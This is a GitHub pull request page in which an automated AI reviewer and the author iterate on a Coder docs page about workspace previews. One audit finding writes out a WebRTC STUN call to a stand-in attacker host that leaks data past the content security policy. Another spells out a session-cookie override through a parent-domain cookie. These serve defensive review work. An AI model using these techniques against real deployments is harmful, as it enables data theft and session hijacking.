Repository navigation
docs: document open_preview previews - #32442
DanielleMaywood wants to merge 1 commit into
Conversation
6bff827 to
57b4d4d
Compare
57b4d4d to
a68678e
Compare
|
/coder-agents-review |
|
Chat: Review posted | View chat Review history
deep-review v0.13.1 | Round 11 | Last posted: Round 11, 26 findings (2 P2, 11 P3, 6 P4, 7 Nit), COMMENT. Review Finding inventoryFindings
Contested and acknowledgedCRF-12 (P4, docs/coder-agents/platform-controls/open-preview.md:42) - Port preview restriction omits dev container displayApps
CRF-16 (Nit, docs/coder-agents/index.md:276) - Tool table row "Refer to" link duplicates line 304
CRF-17 (Nit, docs/coder-agents/platform-controls/open-preview.md:2) - Filename does not match title
CRF-1 (Nit, docs/coder-agents/index.md:304)
CRF-16 (Nit, docs/coder-agents/index.md:276)
CRF-32 (Nit, docs/coder-agents/platform-controls/open-preview.md:56)
CRF-33 (P3, docs/coder-agents/platform-controls/open-preview.md:21)
CRF-34 (P3, docs/coder-agents/platform-controls/open-preview.md:78)
CRF-36 (P4, docs/coder-agents/platform-controls/open-preview.md:108)
CRF-37 (P4, docs/coder-agents/platform-controls/open-preview.md:50)
CRF-44 (Nit, docs/coder-agents/platform-controls/open-preview.md:18)
Round logRound 1Full panel (round 1). Netero first pass: 2 P4, 1 Note; no P0, panel proceeded. Law not run (effective additions 82). Panel: Pen Botter, Razor (documentation triggers), Kurapika (security claims), Pariston, Mafuuu (core), Gon, Leorio (floor), Mafu-san (agent-authored), Knov (wildcard). Cross-check: Razor P2 on outdated proxies serving previews without the policy was disproved by running the pre-stack Round 2 updateBLOCKED. Churn guard: 12 of 15 open findings addressed in 22fc5b8 (amended single commit); CRF-12 (P4), CRF-16 (Nit), CRF-17 (Nit) silent, with no code change or thread reply. No panel, no Netero. Reviewed against 16f0f81..22fc5b8. Round 3 updateBLOCKED. No new commits (head still 22fc5b8). Churn guard: CRF-12 contested (reply: chats bind only to root agents, Round 4PROCEED (churn guard: CRF-12, CRF-16, CRF-17 contested). Fix round: no files added or renamed, title and goal unchanged, effective additions +42 since R1. Netero (post-panel, advisory): CRF-1 re-raised as Nit (placement), CRF-30 CI note. Panel: Razor and Gon (dispute check-in, previous agents reused via message_agent), Pen Botter (docs), Kurapika (security text rewrite), Leorio (new quoted error messages), Zoro (wildcard, no findings). Dispute results: CRF-12 closed 1/1, CRF-17 closed 1/1, CRF-16 re-raised. Verified fixed by panel: CRF-5, CRF-6, CRF-7, CRF-8, CRF-9, CRF-10, CRF-11, CRF-14, CRF-15. New: 4 P3, 2 P4, 1 Nit; 3 out of scope; 2 notes dropped. Orchestrator checked cited code for CRF-16, CRF-31, CRF-33, CRF-34, CRF-35, CRF-37. Reviewed against 16f0f81..22fc5b8. Round 5PROCEED (churn guard: CRF-31 and CRF-35 addressed in fd684d6; CRF-1, CRF-16, CRF-32, CRF-33, CRF-34, CRF-36, CRF-37 contested). Fix round: only open-preview.md changed (+5 -3). Netero: the R4 agent was messaged and wrote no output, so a new agent ran; no new findings, CRF-1 accepted. Panel: Gon, Pen Botter, Kurapika, Leorio (dispute check-in, previous agents reused), Razor (docs, verifies CRF-31; new agent, no findings), Chopper (wildcard, no findings). All 7 contested findings closed 1/1. CRF-31 and CRF-35 verified fixed. New: 1 P4, 1 Nit; 1 out of scope; 2 notes dropped. Orchestrator checked Round 6PROCEED (churn guard: CRF-43 addressed in 4ad4e17; CRF-44 contested). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings, CRF-43 verified. Panel: Gon (dispute check-in, reused), Leorio (raised CRF-43; new agent), Razor (docs; new agent), Zoro (wildcard). CRF-44 closed 1/1. CRF-43 verified by Leorio, Razor, Netero. New: 1 Nit (CRF-48). Reviewed against 79c6491..4ad4e17. Round 7PROCEED (churn guard: CRF-48 addressed in abf6571). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings. Panel: Gon (raised CRF-48), Pen Botter, Razor (docs), Knov (wildcard); all new agents, no findings. CRF-48 verified by Razor, Netero, Knov. No open in-scope findings. Reviewed against 9db4ea5..abf6571. Round 8PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since abf6571; lower stack changed comments, tests, and ARCHITECTURE.md between bases 9db4ea5 and 71bab52. Fix round with no changed PR files: Netero (new agent), panel Razor, Mafuuu, Pariston (minimum 3 from core and pool), Kite (wildcard). No findings; all reviewers re-verified quoted strings against the new base. Reviewed against 71bab52..65898b5. Round 9PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since 65898b5; lower stack changed Round 10PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since 7e28f55; lower stack reverted Round 11PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since d38bfbe; lower stack (bases ddafde3 to fa5d6ce) made About deep-reviewCRF = Coder Review Finding (P0-P4, Nit, Note)
|
There was a problem hiding this comment.
This PR adds the Workspace previews docs page and links it from the Coder Agents overview and platform controls index. Findings: 2 P2, 6 P3, 4 P4, 3 Nit. The P2s are in Preview security: one claim there is false, and one risk is stated without its consequence or the setting that stops it.
Out of scope (needs a ticket or explicit acceptance by a human):
docs/coder-agents/architecture.md:142: the workspace and platform tool tables do not listopen_preview, so the two tool inventories indocs/coder-agents/disagree.coderd/workspaceapps/previewhost/previewhost.go:59: the strict preview CSP has no control over WebRTC or DNS prefetch, so preview scripts can send data from the owner's browser to any host, including when the workspace has no egress.codersdk/deployment.go:1155:coder_session_tokengets the__Host-prefix only whenCODER_HOST_PREFIX_COOKIEis set (default false), so any script on a subdomain of the access URL can set a cookie that the dashboard API reads as the session.coderd/workspaceapps/preview.go:50: on a plain-HTTP deployment every framed preview request gets "Previews open only inside a Coder chat. Open this preview from its chat.", which names a user action instead of the missing HTTPS.agent/agentpreview/preview.go:94: a file preview ID the agent no longer has returns Go's default404 page not found, andpostPreviewSignIn(coderd/previews.go:69-88) does not check that the ID is published, so the user gets no hint to reopen the preview.coderd/previews.go:158:previewHostingForsends a preview sign-in to any proxy with a wildcard hostname without checking its version, so a proxy that predates this stack shows an error page for every preview.
Notes:
- The CI
lintjob failed and its log was not readable from the review environment. Every docs lint target (lint/markdown,lint/docs-manifest,lint/emdash,lint/typos, and others) passes on this head, so the failure probably comes from the lower stack commits.
🤖 This review was automatically generated with Coder Agents.
| - The page loads scripts, styles, fonts, images, and other files only from the preview's own address. | ||
| Inline scripts, inline styles, and `data:` and `blob:` URLs still work. | ||
| The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page. | ||
| - The page sends requests only to the preview's own address. |
There was a problem hiding this comment.
P2 [CRF-4] "The page sends requests only to the preview's own address" is false: the preview policy does not limit WebRTC or DNS prefetch. (Pariston, Kurapika, Knov)
The only network limit is the CSP from previewhost.Strict (default-src 'self' ...; frame-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors ...) plus the iframe sandbox, and CSP fetch directives do not govern RTCPeerConnection ICE traffic or <link rel="dns-prefetch">, so a script can send data in a STUN hostname or username (new RTCPeerConnection({iceServers:[{urls:"stun:<data>.attacker.example"}]})). This was inferred from the policy string and not run in a browser. An administrator whose workspaces have no egress reads this line and the secrets warning and concludes a preview cannot move secrets out, but the user's browser does the sending. Narrow the line to what the CSP covers (fetch, XHR, WebSocket, form posts, and subresource loads), state that WebRTC and DNS prefetch can still reach other hosts, and say in the warning that scripts can send what they read.
🤖
| Workspace proxies serve previews with the same limits. | ||
|
|
||
| Coder can't stop scripts in a preview from setting cookies for a parent domain of the preview's address, such as the domain of the wildcard access URL. | ||
| The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain. |
There was a problem hiding this comment.
P2 [CRF-5] The page says parent-domain cookies reach Coder itself but not that a preview can replace the user's Coder session cookie, or which setting stops it. (Kurapika)
With the documented layout (access URL coder.example.com, wildcard *.coder.example.com), a preview script can set coder_session_token=<token>; Domain=coder.example.com; Path=/api; browsers send the longer-path cookie first, and httpmw.APITokenFromRequest (coderd/httpmw/apikey.go:1031) reads the first one with r.Cookie. Dashboard API calls then run as whatever account the token belongs to, or fail with 401, and logout does not remove the Domain cookie. With CODER_HOST_PREFIX_COOKIE=true, HTTPCookieConfig.Middleware drops an unprefixed coder_session_token, and browsers refuse a __Host- cookie set with Domain. State the session consequence here and tell administrators who enable previews to set CODER_HOST_PREFIX_COOKIE=true, or to use a wildcard domain that the access URL is not under.
🤖
| Workspace previews require a [wildcard access URL](../../admin/networking/wildcard-access-url.md). | ||
| Without one, `open_preview` returns an error. | ||
|
|
||
| Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews. |
There was a problem hiding this comment.
P3 [CRF-6] The page lists HTTPS as the only requirement for workspace proxies, but each proxy that users can select also needs its own wildcard hostname. (Razor, Pariston, Mafuuu, Pen Botter, Kurapika)
PreviewFrame signs in with region_id: proxy.proxy?.id and does not fall back to the primary, and previewHostingFor (coderd/previews.go) returns "This region does not serve previews." for a proxy with an empty WildcardHostname. The tool still succeeds because it checks only the primary's wildcard, so users on that region see an Open preview button and then an error. State that previews go through the region selected in the dashboard and that each workspace proxy users can select needs a wildcard hostname.
🤖
|
|
||
| - A port preview shows a plain HTTP server that already listens on a workspace port. | ||
| If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews. | ||
| - A file preview shows an `.html` file, or a directory that contains `index.html`. |
There was a problem hiding this comment.
P3 [CRF-7] The page does not say that file previews end when the workspace agent restarts. (Pen Botter, Mafuuu, Leorio, Razor, Pariston, Mafu-san)
The agent keeps published previews only in the in-memory api.previews map (agent/agentpreview/preview.go), and handleServe answers an unknown ID with http.NotFound, so an Open preview button or restored tab in an older chat shows 404 page not found. The tool description already tells the model this ("last until the workspace agent restarts"). Add one sentence: a file preview lasts until the workspace agent restarts, and asking the agent to open the same path again restores it.
🤖
| Without one, `open_preview` returns an error. | ||
|
|
||
| Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews. | ||
| Over plain HTTP, previews don't load. |
There was a problem hiding this comment.
P3 [CRF-8] "Over plain HTTP, previews don't load" does not say what the user sees, and what the user sees names a different cause. (Pen Botter, Leorio, Mafuuu)
Browsers omit Sec-Fetch-Dest on plain-HTTP origins other than localhost, so servePreview (coderd/workspaceapps/preview.go:48-50) treats the framed request as a direct load and the panel shows "Previews open only inside a Coder chat. Open this preview from its chat." The user did open it from the chat, so neither the user nor the administrator links that message to HTTPS. Name the message in this sentence, for example: "Over plain HTTP, the preview tab shows 'Previews open only inside a Coder chat' even when the user opened it from the chat."
🤖
| The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain. | ||
| A preview can use such a cookie to overwrite a cookie that one of the user's other apps uses. | ||
|
|
||
| > [!WARNING] |
There was a problem hiding this comment.
P3 [CRF-14] The secrets warning states the risk but gives the reader nothing to do about it. (Leorio)
The tool description gives the model the mitigation ("use a dedicated output directory without secrets", chattool/openpreview.go:152), but neither the administrator nor the chat user reading this page is told it. Add a line the reader can act on, for example: "Ask the agent to preview a dedicated output directory, such as a build output folder, not a project root or home directory."
🤖
|
|
||
| - A port preview shows a plain HTTP server that already listens on a workspace port. | ||
| If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews. | ||
| - A file preview shows an `.html` file, or a directory that contains `index.html`. |
There was a problem hiding this comment.
P4 [CRF-15] Lines 45 and 73 use "directory preview" as a kind of preview, but line 39 lists two kinds, port preview and file preview, and never defines it. (Gon)
A reader matches "needs a directory preview" against the two-item list and finds no such kind. Name both forms where the file preview is defined, for example: "A file preview shows an .html file (a single-file preview) or a directory that contains index.html (a directory preview)."
🤖
| | `process_list` | List all tracked processes in the workspace | | ||
| | `process_signal` | Send a signal (terminate/kill) to a tracked process | | ||
| | `attach_file` | Attach a workspace file to the chat as a durable downloadable attachment | | ||
| | `open_preview` | Add a button that opens a workspace port or an `.html` file or directory in the chat's right panel. Refer to [Workspace previews](./platform-controls/open-preview.md) | |
There was a problem hiding this comment.
Nit [CRF-16] The open_preview row is the only tool table row that ends with a "Refer to" link, and line 304 links to the same page. (Gon)
The computer_use entry links only in the sentence below the table. Drop the link from the row; the row also lacks the period its first sentence implies.
🤖
There was a problem hiding this comment.
Declined: style nit.
There was a problem hiding this comment.
Declined: open_preview is the only tool in the table that needs an administrator to enable it first, so its row links straight to the setup page for readers who scan the table; the sentence at line 304 serves readers of the prose below it.
There was a problem hiding this comment.
The defense says open_preview is the only tool in the table that needs an administrator to enable it, but the spawn_agent (type=computer_use) row at line 282 also needs virtual desktop enabled, and its row has no link; its setup link is only in the sentence at line 295. As written, a reader scanning the table gets a setup link for one of the two admin-gated tools. Drop the link from this row, or give both rows a link, and end the row with a period. (Gon)
🤖
There was a problem hiding this comment.
Declined: you are right that spawn_agent with type=computer_use also needs an administrator, so our premise was wrong; we are still keeping the link because it points someone scanning the table at a required setup step, and no style rule asks every row to match.
There was a problem hiding this comment.
Accepted. The link sends no reader to a wrong page.
🤖
| @@ -0,0 +1,74 @@ | |||
| --- | |||
| title: Workspace previews | |||
There was a problem hiding this comment.
Nit [CRF-17] The file is named open-preview.md while the page title, manifest titles, and link texts say "Workspace previews". (Gon)
Sibling pages use a filename that matches the title (virtual-desktop.md, mcp-servers.md, chat-debug-logging.md). Rename to workspace-previews.md and update the links and both manifest entries before the URL is published, or keep the name if it is meant to match the experiment.
🤖
There was a problem hiding this comment.
Declined: the filename matches the open-preview experiment name.
There was a problem hiding this comment.
Accepted. Sibling pages already use filenames that differ from their titles, such as agent-isolation.md for "Network isolation".
🤖
| `write_file` and `edit_files` remain available only for the chat-specific plan file under `.coder/plans/`. | ||
| Workspace MCP tools are unavailable in plan mode, and plan-mode sub-agents receive no MCP tools. | ||
|
|
||
| `open_preview` works only after an administrator enables [workspace previews](./platform-controls/open-preview.md). |
There was a problem hiding this comment.
P4 [CRF-1] The overview's root-only sentence at line 292 does not list open_preview, so a reader concludes sub-agents get it. (Netero)
The tool is registered only under if isRootChat (coderd/x/chatd/turn_environment.go:722, appendRootChatTools), and only open-preview.md:33 states that. Add open_preview to the root-only sentence at line 292, and move this sentence next to the computer_use "works only after an administrator enables" sentence instead of after the plan-mode paragraph.
🤖
There was a problem hiding this comment.
The root-only list at line 292 now includes open_preview. The enablement sentence at line 304 still follows the plan-mode paragraph (lines 299 to 302), so a reader can take it as a plan-mode condition; move it next to the computer_use enablement sentence at line 295. (Netero)
🤖
There was a problem hiding this comment.
Declined: the sentence is a separate paragraph that states its own condition (an administrator enabling workspace previews) and says nothing about plan mode, so a reader cannot take it as a plan-mode rule.
There was a problem hiding this comment.
Accepted. The sentence states its own condition, and open_preview is not available in plan mode, so no reading of it leads to a wrong action.
🤖
a68678e to
ede4fa3
Compare
ede4fa3 to
2e8d886
Compare
2e8d886 to
21ac354
Compare
21ac354 to
39cd84b
Compare
39cd84b to
62f28b7
Compare
7e28f55 to
d38bfbe
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews the rebase to d38bfbee3d. The PR's docs are unchanged since the previous review. The lower stack now reads the workspace proxy in previewHostingFor with system authorization again and maps only a missing proxy to an unknown region, so a proxy without a wildcard access URL returns This region does not serve previews. to every caller, as the page says. Every quoted error string still appears in the code. No findings, and none remain open. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.
Notes:
- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
d38bfbe to
492caef
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews the rebase to 492caef94b. The PR's docs are unchanged, but the lower stack changed how Open preview treats a preview that already has a tab, so one sentence on the page is now wrong. Findings: 1 P3. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.
Notes:
docs/coder-agents/platform-controls/open-preview.md:78: the port preview bullet does not mention that a dev server which checks the Host header, such as Vite, rejects the preview's address unless it allows it (server.allowedHosts). The tool description now tells the agent this, and Vite's own error names the setting.- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
|
|
||
| Nothing opens until the workspace owner selects the button. | ||
| The preview opens in a tab in the chat's right panel, and previews open nowhere else. | ||
| Selecting **Open preview** for a preview that already has a tab reloads that tab instead of opening another one, and a newer result also renames the tab. |
There was a problem hiding this comment.
P3 [CRF-57] The page says selecting Open preview for a preview that already has a tab reloads that tab, but the dashboard now only focuses the tab when the button belongs to the result the tab last showed. (Netero)
openPreviewTab (AgentChatPageView.tsx:584-593) returns after activateRightPanelTab without reloading when existingTab.toolCallId === preview.toolCallId, and renames and reloads the tab for any other result, including an older one. A user who clicks the same button to refresh a stale preview, or to recover a tab that shows the agent-restart page, gets the old frame. Reword, for example: "Selecting Open preview focuses the preview's existing tab. Selecting it on a different result for the same preview also renames the tab and reloads it."
🤖
Codex Review Summary: ✅ CompletedThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
492caef to
4f846c0
Compare
4f846c0 to
52e0c83
Compare
4b41e59 to
a0578de
Compare
a0578de to
de9645d
Compare
a0cee83 to
b5dc381
Compare
b5dc381 to
db54811
Compare
Adds a Coder Agents platform controls page for workspace previews, linked from the overview. It covers the prerequisites (wildcard access URL, HTTPS, --host-prefix-cookie, a current workspace agent), enabling the open-preview experiment, workspace proxy requirements, port, file, and directory previews, owner-only access, and the strict policy's restrictions and what it does not cover. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
db54811 to
ed2f4f3
Compare
Previews are opt-in and need
--host-prefix-cookie, so administrators need the prerequisites and the strict policy's limits before they enable the experiment. The page therefore lives under platform controls, with a pointer from the Coder Agents overview.Implementation details
Documents workspace previews on a new
docs/coder-agents/platform-controls/open-preview.mdpage, with a pointer from the Coder Agents overview: theopen-previewexperiment and how to enable it, port and file previews, that previews open on a click in the chat's right panel and are owner-only, that opening a preview address directly shows an error page, the strict policy's restrictions (no CDN assets or external APIs, no service workers), the parent-domain cookie caveat, and the secrets warning.Stack (review bottom-up). Replaces the closed #31282 stack. Security review: coder/security-assessments#437.
🤖 Generated with Claude Code